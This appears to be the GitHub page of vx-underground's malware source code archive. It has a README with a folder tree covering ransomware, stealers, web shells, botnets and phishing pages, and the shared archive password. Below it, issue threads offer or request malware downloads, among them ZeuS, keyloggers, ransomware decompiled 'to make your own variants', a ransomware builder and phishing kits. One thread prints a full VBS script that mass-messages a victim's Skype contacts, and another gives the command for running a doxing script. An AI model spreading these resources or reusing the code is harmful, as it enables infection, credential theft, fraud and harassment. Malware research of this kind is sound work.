vxunderground / malwaresourcecode

Collection of malware source code for a variety of platforms in an array of different programming languages.

managed by vx-underground | follow us on Twitter | download malware samples at the VXUG/samples page

Liability Disclaimer:

To the maximum extent permitted by applicable law, vx-underground and/or affiliates who have submitted content to vx-underground, shall not be liable for any indirect, incidental, special, consequential or punitive damages, or any loss of profits or revenue, whether incurred directly or indirectly, or any loss of data, use, goodwill, or other intangible losses, resulting from (i) your access to this resource and/or inability to access this resource; (ii) any conduct or content of any third party referenced by this resource, including without limitation, any defamatory, offensive or illegal conduct or other users or third parties; (iii) any content obtained from this resource

Notes

All source code which is packaged may or may not be set with the password 'infected' (without the '). Individual files are likely not packaged. Please do not comment asking for the password - it was placed all over vx-underground.org and the official vx-underground Twitter account.

File structure

• Android
  • Generic Android OS malware, some leaks and proof-of-concepts
• Engines
  • BAT
  • Linux
  • VBS
  • Win32
• Java
  • Some java infectors, proof-of-concept ransomware
• Javascript
  • In-browser malware
• Legacy Windows
  • Win2k
  • Win32
  • Win95
  • Win98
  • Win9x
  • WinCE
• Libs (libraries)
  • Bootkits
  • DDoS proof-of-concepts
  • Win32 libraries (disassemblers, etc).
• Linux
  • Backdoors
  • Botnets
  • Infectors
  • Mirai-Family (related and/or spin-offs)
  • Rootkits
  • Tools
  • Trojans
• MSDOS
• MSIL
• MacOS
• Other
  • Acad malware
  • FreeBSD malware
  • SunOS malware
  • Symbian OS malware
  • Discord-specific malware
• PHP
  • Albania family
  • C99 family
  • Crewcorp family
  • Defacement Tools
  • PHP Infectors
  • Lanker family
  • Macker family
  • PhpSpy family
  • R57-shell family
• Panel (web panel collections)
• Perl
  • Various backdoors, hack tools, and infectors
• Phishing
  • Collection of various phishing pages
• Point of Sales malware
• Python
  • Hacktools, various exotic-malware (such as chastity belt ransomware)
• Ruby
• Win32
  • Binders
  • Botnets
  • Crypters
  • Exploit kits
  • Infectors
  • Internet worms
  • Malware families
  • Ransomware
  • Rootkits
  • Stealers

Contributors

Marius 'f0wL' Genheimer
Jan 'Duchy' Neduchal
Eduardo P. Gomez
DartPower
Luca364
TheAnonHackUk
Bruce Ediger
Avv
Alan Wake

malwaresourcecode's Issues

Malware Request

Can you please include MedusaLocker Ransomware.

ccc+++

Mai

Cc+++

Originally posted by @Ilike2cum in Chalarangelo/30-seconds-of-code#1856 (comment)

isaid thatuous s ho GeneratorTroj by noxjoker (Decompiled) - Toolkit for making the malware (~2010)

GeneratorTroj by noxjoker (Decompiled) - Toolkit for making the malware (~2010)
GeneratorTroj.zip

Unsorted tools & code snippets, and components for malwaredev.
_SRC_Also.zip
_SRC_Also2.zip
https://github.com/vxunderground/MalwareSourceCode/files/5584725/source3_DCT_Keylogger.zip m/vxunderground/MalwareSourceCode/files/5584662/agobot3.zip)
ARPScanner.zip
C++ crypter source.zip
EventLogs_0_1.zip
FBI-RAT.zip
FFLog_source_20100316.zip
Illuminati-master.zip
Keylogger.zip
KeyLogger2.zip

• MEMZ-master.zip](https://github.com/vxunderground/MalwareSourceCode/files/5584673/MEMZ-master.zip)
  minipanzer_source.zip
  MioStar_0_2.zip
  realmbot.zip
  REGFuck-master.zip
  Reptile.zip
  ri0t.zip
  skypedllinjector_source.zip
  SkypeTap_20091226.zip
  SkypeTrojan.zip
  StorageDevices.zip
  TCPReassemble.zip
  Text2Speech.zip
  Traceroute_0.2.zip
  TrollRAT-master.zip
  VineMEMZ-master.zip
  VoIP-Recorder.zip
  w32.ogw0rm.zip
  WakeOnLAN.zip https://github.com/vxunderground/MalwareSourceCode/files/5584726/TCPSniffer_0.2.zip

This may dont have some source files... I will try to re-upload if interested
source3_DCT_Keylogger.zip
TCPSniffer_0.2.zip
Vazonez_ST_UFR_Stealer.zip
ZeuS 2.0.8.9.zip https://github.com/vxunderground/MalwareSourceCode/files/5584727/Vazonez_ST_UFR_Stealer.zip https://github.com/vxunderground/MalwareSourceCode/files/5584728/ZeuS.2.0.8.9.zip

Some of this may been already in this repo, but if you interested, you may to commit this :)

Originally posted by @DartPower in #15

Password not working on 7z files.

Hi vx,
I tried password as "infected" (without quotes) on samples downloaded from https://samples.vx-underground.org/samples/Families/TianySpy/Samples/iOS/ but it is not working.

Is there any other password ? Please assist in that case.

Virus.Ruby.Badbunny.a is not Ruby

Looks like VBScript

Trojan

Not working

Some Malwaredev sources (MegaPanzer Dump)

May have a duplicates with my old contribution and may contain new files
MegaPanzerDump.zip

P.S. This have a Simsang decompilation, but i found it +/- actual version here: (contains some sources, which not have in decompilation, and reversed - some have in this more)
https://github.com/vaginessa/Simsang

But this dump from web archive and don't very cool, but i think this historically interesting

Malware

Espero que me proteja de los que USURPAN MI IDENTIDAD

Old Unix, SunOS, Irix virus. C & SPARC assembly virus

[email protected]:yorgi-gromolski/spintronic-tractor-parts.git

https://github.com/yorgi-gromolski/spintronic-tractor-parts

Looks like ancient Unix variant file viruses.

Malw

Backdoor.MSIL.Tyupkin (4 variations) and some bunch of sources

BackdoorMSILTyupkinSrc.zip

And this (Maybe very unuseful, needs to investigate, contains a many "SmartAssembly" shit but have a some other maybe interesting)
ShitBunch1.zip
ShitBunch2.zip

Tutorials

Are they up to date? And can you please make 'how to?' tutorials.

Malware email evudence of subscription to a thread

Addition of an MIT license to your repo

You can include an open source license in your repository to make it easier for other people to contribute.If you include a detectable license in your repository, people who visit your repository will see it at the top of the repository page

Thanos Builder Sample

I Give You To Analyze, It's Not Password Protected

https://anonfiles.com/bdu4AaS7xc/Thanos_Builder_Decryptor_zip

-

Where can I download Mirai windows source code?

NEW SOURCE CODE

I decompile prynt malware source code and now i posted for free to anyone (Its the stub but if u understand what happens its easy to you to change the values)

Link to prynt stub source code

Enjoy (Btw its 95% stormkitty and 5% just changing names xddd)

Old skype spam messaging mini-trojan (VBS)

on error resume next
set skype = Wscript.CreateObject("Skype4com.Skype", "Skype")
Skype.Client.Start()
SkypeAttach()
For Each User In Skype.Friends
Skype.SendMessage User.handle, "Your Message Here"
next

What is the password for Win32.Borat.7z?

I need the zip password for Win32.Borat.7z

More leaks

Silent-Miner-XMR-Monero-master.zip
SophStealer-master.zip
Stealer-by-Heleks-master.zip
PredatorTT-Beta-Old-master.zip
Trojan-Downloader-master.zip
AntiDisassembly-master.zip
SteamElite-Stealer-By-Mr.Alex-master.zip
Immortal2.0-by-Zet5D-master.zip
SoranoStealer-master.zip
StellarStealer-master.zip
AmadeyStartup-master.zip

Taken from:
https://github.com/Alexuiop1337

Jp repository

free

Check out this free app —— it Pays to Save Money 💰 https://emma.to/roxyoxyrox

I create this by mistake xD

System Security 2010 RogueAV Source code

System Security 2010 RogueAV Source code
System Security 2010.zip

Botnr5

Some intresting ransomware source codes :)

I decompiled this ransomwares and i hope you like it, however you can feel free to post it anywhere or even make your own variants

Link: https://github.com/theanonhackuk/ransomware-sources

-TheAnonHackUk

Reg api access for malware samples

Hi Team, I had sent a mail from my official mail id couple of days back with respect to getting access to the API for downloading malware samples. I had few queries regarding the same which is also mentioned in the mail. Requesting your response to the same.

MSC

HVNC

What hvnc can u recommend ?

what is the password for the 7z files ?

Reversed WannaCry by stacksmashing

Also Idea for you: Adding "Other" malware code (rewrited code, code parts & snippets, reversed & decompiled, tools)

Code:
https://github.com/ghidraninja/ReversingWannacry

Videos:
https://www.youtube.com/watch?v=Sv8yu12y5zM
https://www.youtube.com/watch?v=Q90uZS3taG0
https://www.youtube.com/watch?v=ru5VzUigKqw

Ll

Variant of BSOD Invoker

Variant of BSOD Invoker
TERM.ZIP

Malware

hey could you add my virus?

Some collection of malware & related source code

GeneratorTroj by noxjoker (Decompiled) - Toolkit for making the malware (~2010)
GeneratorTroj.zip

Unsorted tools & code snippets, and components for malwaredev.
_SRC_Also.zip
_SRC_Also2.zip

agobot3.zip
ARPScanner.zip
C++ crypter source.zip
EventLogs_0_1.zip
FBI-RAT.zip
FFLog_source_20100316.zip
Illuminati-master.zip
Keylogger.zip
KeyLogger2.zip
MEMZ-master.zip
minipanzer_source.zip
MioStar_0_2.zip
realmbot.zip
REGFuck-master.zip
Reptile.zip
ri0t.zip
skypedllinjector_source.zip
SkypeTap_20091226.zip
SkypeTrojan.zip
StorageDevices.zip
TCPReassemble.zip
Text2Speech.zip
Traceroute_0.2.zip
TrollRAT-master.zip
VineMEMZ-master.zip
VoIP-Recorder.zip
w32.ogw0rm.zip
WakeOnLAN.zip

This may dont have some source files... I will try to re-upload if interested
source3_DCT_Keylogger.zip
TCPSniffer_0.2.zip
Vazonez_ST_UFR_Stealer.zip
ZeuS 2.0.8.9.zip

Some of this may been already in this repo, but if you interested, you may to commit this :)

Anti-Hackers

Espero que me proteja

PSCX4_1.0.0.9-Reversed "Fake PS4 Emulator from a dodgy website, fully reverse'd"

A interesting new one:
https://github.com/miso-xyz/PSCX4_1.0.0.9-Reversed
Can you add this? :D

Vbn

Thanos Builder Leaks

Why Can't I Find Thanos Builder Software ?

Can you add Thanos Ransomeware Builder Source code to your Repo

I accidentally found Thanos ransomeware source code in virustotal. Can you Download and add in your repo

VT Link : https://www.virustotal.com/gui/file/96a27e6ec0b48bbefa70803c2c1bd206a86803218b8de81248a993303da5fc2a

A voir

>

No se que pasos seguir para descargar la Licencia, carezco de Licencia como usuario. Y yo no se como se hace esto, les estaría muy agradecido si me lo pueden enviar por Gmail. En Castellano, que el Inglés que sabia se me ha olvidado.

Publicado originalmente por @J569-del en https://github.com/J569-del/la-buganbilla/issues/5#issuecomment-1328185291

GSOME 0.6a and 0.7.0.3

GSOME 0.6a and 0.7.0.3
Old russian attack hackware, used by sub-culture radical (and fun) community "Upyachka"
Used for attacking VK (ex. VKontakte) groups with picture/message/video spam in ~2007-2010 years.
Decompiled, but this very useless in any case, because Vkontakte library very legacy and using not supported functions.
But i think this have a some historical attention 🤔

Bundled original executables and dll-libs with decompiled source code in two variants (dnSpy and ILSpy)
GSOME_TwoVersions.zip

./Python/Doxing-Script-Py3.py doesn't get proper html

Trying out doxing script. Most htmls the script gets are unable to get the profile page. For example Twitter returns a page that says "Something went wrong, but don\xe2\x80\x99t fret \xe2\x80\x94 let\xe2\x80\x99s give it another shot.".

Steps to reproduce:

python3 Doxing-Script-Py3.py stalk user vxunderground

I have commented out import face_recognition because it isn't available and isn't being used either way.

Anti Hackers

Big collection of sources with phishing scripts & etc

Many PHP fake pages, steam scam panels, temp mail site scripts & many more.

https://disk.yandex.ru/d/vkoZSdYN_chcSw
Password: 2022

Phishing

Hey could you add my virus?